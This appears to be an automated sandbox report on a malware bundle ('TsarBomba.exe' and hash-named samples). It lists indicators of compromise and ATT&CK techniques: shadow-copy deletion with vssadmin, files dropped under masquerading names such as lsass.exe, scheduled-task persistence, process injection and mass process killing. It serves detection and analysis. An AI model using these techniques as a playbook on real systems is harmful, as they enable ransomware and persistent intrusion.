File opened (read-only)	\??\I:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\L:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\X:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\V:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\M:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\Q:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\W:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\G:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\H:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\B:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\N:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\T:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\Y:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\P:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\A:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\S:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com
6	checkip.dyndns.org
61	reallyfreegeoip.org
62	reallyfreegeoip.org
66	reallyfreegeoip.org

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral4/files/0x000d00000001c6f5-1595.dat	autoit_exe
behavioral4/files/0x000b00000001c7be-2820.dat	autoit_exe

Checks system information in the registry 2 TTPs 1 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral4/files/0x000b00000001c7d6-6083.dat	ConfuserEx

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1380 set thread context of 4668	1380	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	99
PID 3140 set thread context of 4528	3140	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe	128

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Photo Viewer\fr-FR\lsass.exe	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Program Files\Windows Photo Viewer\fr-FR\6203df4a6bafc7	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Program Files (x86)\Windows Defender\en-US\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Program Files (x86)\Windows Defender\en-US\b0e62dd13a6db7	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\Crashpad\reports\7a0fd90576e088	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Windows\tracing\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Windows\vkl.exe	MSBuild.exe
File opened for modification	C:\Windows\vkl.exe	MSBuild.exe
File created	C:\Windows\Help\Finish.exe	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File created	C:\Windows\SystemTemp\Crashpad\reports\explorer.exe	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Windows\en-US\sihost.exe	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Windows\en-US\66fc9ff0ee96c2	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Windows\tracing\dec183eb9eeeae	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
8728	8448	WerFault.exe	638
10408	8944	WerFault.exe	695
8576	5624	WerFault.exe	93
7100	8712	WerFault.exe	629

System Location Discovery: System Language Discovery 1 TTPs 46 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vkl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TsarBomba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZcwWvGIJLelYh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
7448	PING.EXE
10964	cmd.exe
6252	PING.EXE

Inno Setup is an open-source installation builder for Windows applications. 1 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral4/files/0x000c00000001c7ba-2795.dat	innosetup

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4308	vssadmin.exe
1656	vssadmin.exe

Kills process with taskkill 45 IoCs

defense_evasion

pid	Process
11064	taskkill.exe
8348	taskkill.exe
6168	taskkill.exe
10396	taskkill.exe
8340	taskkill.exe
8680	taskkill.exe
3160	taskkill.exe
3868	taskkill.exe
568	taskkill.exe
8000	taskkill.exe
6548	taskkill.exe
3824	taskkill.exe
6032	taskkill.exe
8716	taskkill.exe
8900	taskkill.exe
3156	taskkill.exe
10984	taskkill.exe
9744	taskkill.exe
10936	taskkill.exe
8284	taskkill.exe
9124	taskkill.exe
11116	taskkill.exe
3864	taskkill.exe
10464	taskkill.exe
9352	taskkill.exe
10308	taskkill.exe
6972	taskkill.exe
9256	taskkill.exe
10872	taskkill.exe
3536	taskkill.exe
9700	taskkill.exe
8268	taskkill.exe
8588	taskkill.exe
8644	taskkill.exe
8444	taskkill.exe
9948	taskkill.exe
9928	taskkill.exe
4912	taskkill.exe
10136	taskkill.exe
10416	taskkill.exe
8828	taskkill.exe
9544	taskkill.exe
9428	taskkill.exe
10876	taskkill.exe
6564	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
Key created	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000_Classes\Local Settings	4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	NOTEPAD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000_Classes\Local Settings	MSBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000_Classes\Local Settings	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
1040	reg.exe
5996	reg.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
7576	NOTEPAD.EXE
3284	NOTEPAD.EXE

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
7448	PING.EXE
6252	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 26 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2600	schtasks.exe
4752	schtasks.exe
3496	schtasks.exe
2272	schtasks.exe
1256	schtasks.exe
5612	schtasks.exe
2452	schtasks.exe
3080	schtasks.exe
1712	schtasks.exe
1440	schtasks.exe
5616	schtasks.exe
8344	schtasks.exe
10480	schtasks.exe
10384	schtasks.exe
2664	schtasks.exe
624	schtasks.exe
1268	schtasks.exe
1216	schtasks.exe
4148	schtasks.exe
988	schtasks.exe
2404	schtasks.exe
936	schtasks.exe
4920	schtasks.exe
3080	schtasks.exe
8488	schtasks.exe
10472	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5392	powershell.exe
5392	powershell.exe
2672	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
2672	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
5392	powershell.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe

Suspicious use of AdjustPrivilegeToken 52 IoCs

description	pid	Process
Token: SeDebugPrivilege	1516	0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
Token: SeDebugPrivilege	5392	powershell.exe
Token: SeDebugPrivilege	1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
Token: SeBackupPrivilege	3152	vssvc.exe
Token: SeRestorePrivilege	3152	vssvc.exe
Token: SeAuditPrivilege	3152	vssvc.exe
Token: SeDebugPrivilege	3140	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2468	4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
Token: SeDebugPrivilege	5244	sihost.exe
Token: SeDebugPrivilege	2036	lsass.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeDebugPrivilege	3764	powershell.exe
Token: SeDebugPrivilege	3372	powershell.exe
Token: SeDebugPrivilege	2440	powershell.exe
Token: SeDebugPrivilege	4116	powershell.exe
Token: SeDebugPrivilege	1180	powershell.exe
Token: SeDebugPrivilege	3524	powershell.exe
Token: SeDebugPrivilege	672	powershell.exe
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	5872	powershell.exe
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	1364	powershell.exe
Token: SeDebugPrivilege	300	powershell.exe
Token: SeDebugPrivilege	5704	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeDebugPrivilege	4452	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
Token: SeDebugPrivilege	3224	explorer.exe
Token: SeIncreaseQuotaPrivilege	2804	powershell.exe
Token: SeSecurityPrivilege	2804	powershell.exe
Token: SeTakeOwnershipPrivilege	2804	powershell.exe
Token: SeLoadDriverPrivilege	2804	powershell.exe
Token: SeSystemProfilePrivilege	2804	powershell.exe
Token: SeSystemtimePrivilege	2804	powershell.exe
Token: SeProfSingleProcessPrivilege	2804	powershell.exe
Token: SeIncBasePriorityPrivilege	2804	powershell.exe
Token: SeCreatePagefilePrivilege	2804	powershell.exe
Token: SeBackupPrivilege	2804	powershell.exe
Token: SeRestorePrivilege	2804	powershell.exe
Token: SeShutdownPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeSystemEnvironmentPrivilege	2804	powershell.exe
Token: SeRemoteShutdownPrivilege	2804	powershell.exe
Token: SeUndockPrivilege	2804	powershell.exe
Token: SeManageVolumePrivilege	2804	powershell.exe
Token: 33	2804	powershell.exe
Token: 34	2804	powershell.exe
Token: 35	2804	powershell.exe
Token: 36	2804	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5104 wrote to memory of 1516	5104	TsarBomba.exe	89
PID 5104 wrote to memory of 1380	5104	TsarBomba.exe	91
PID 5104 wrote to memory of 3140	5104	TsarBomba.exe	92
PID 5104 wrote to memory of 5624	5104	TsarBomba.exe	93
PID 5624 wrote to memory of 5392	5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	95
PID 5104 wrote to memory of 2672	5104	TsarBomba.exe	97
PID 1380 wrote to memory of 4668	1380	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	99
PID 1380 wrote to memory of 4668	1380	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	99
PID 1380 wrote to memory of 4668	1380	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	99
PID 1380 wrote to memory of 4668	1380	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	99
PID 1380 wrote to memory of 4668	1380	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	99
PID 1380 wrote to memory of 4668	1380	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	99
PID 1380 wrote to memory of 4668	1380	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	99
PID 1380 wrote to memory of 4668	1380	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	99
PID 1380 wrote to memory of 4668	1380	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	99
PID 5104 wrote to memory of 2080	5104	TsarBomba.exe	100
PID 2672 wrote to memory of 1332	2672	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe	102
PID 5104 wrote to memory of 1820	5104	TsarBomba.exe	104
PID 1332 wrote to memory of 4308	1332	cmd.exe	510
PID 2080 wrote to memory of 3284	2080	4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe	108
PID 2672 wrote to memory of 5008	2672	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe	111
PID 5008 wrote to memory of 1656	5008	cmd.exe	113
PID 5624 wrote to memory of 5256	5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	116
PID 3140 wrote to memory of 2804	3140	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe	119
PID 5256 wrote to memory of 3108	5256	net.exe	120
PID 3140 wrote to memory of 2452	3140	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe	157
PID 5624 wrote to memory of 3744	5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	125
PID 3744 wrote to memory of 4856	3744	net.exe	127
PID 3140 wrote to memory of 4528	3140	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe	128
PID 3140 wrote to memory of 4528	3140	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe	128
PID 3140 wrote to memory of 4528	3140	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe	128
PID 3140 wrote to memory of 4528	3140	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe	128
PID 3140 wrote to memory of 4528	3140	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe	128
PID 3140 wrote to memory of 4528	3140	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe	128
PID 3140 wrote to memory of 4528	3140	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe	128
PID 5624 wrote to memory of 456	5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	130
PID 456 wrote to memory of 3116	456	net.exe	133
PID 4528 wrote to memory of 4260	4528	MSBuild.exe	137
PID 5624 wrote to memory of 3352	5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	139
PID 3352 wrote to memory of 3436	3352	net.exe	142
PID 5624 wrote to memory of 1872	5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	146
PID 1872 wrote to memory of 2568	1872	net.exe	149
PID 5624 wrote to memory of 1912	5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	154
PID 1912 wrote to memory of 2452	1912	net.exe	157
PID 5624 wrote to memory of 2924	5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	159
PID 2924 wrote to memory of 1284	2924	net.exe	162
PID 5624 wrote to memory of 2644	5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	164
PID 2644 wrote to memory of 1528	2644	net.exe	167
PID 5624 wrote to memory of 5472	5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	170
PID 5472 wrote to memory of 384	5472	net.exe	172
PID 5624 wrote to memory of 2008	5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	175
PID 2008 wrote to memory of 5820	2008	net.exe	177
PID 1820 wrote to memory of 3092	1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe	464
PID 1820 wrote to memory of 3764	1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe	379
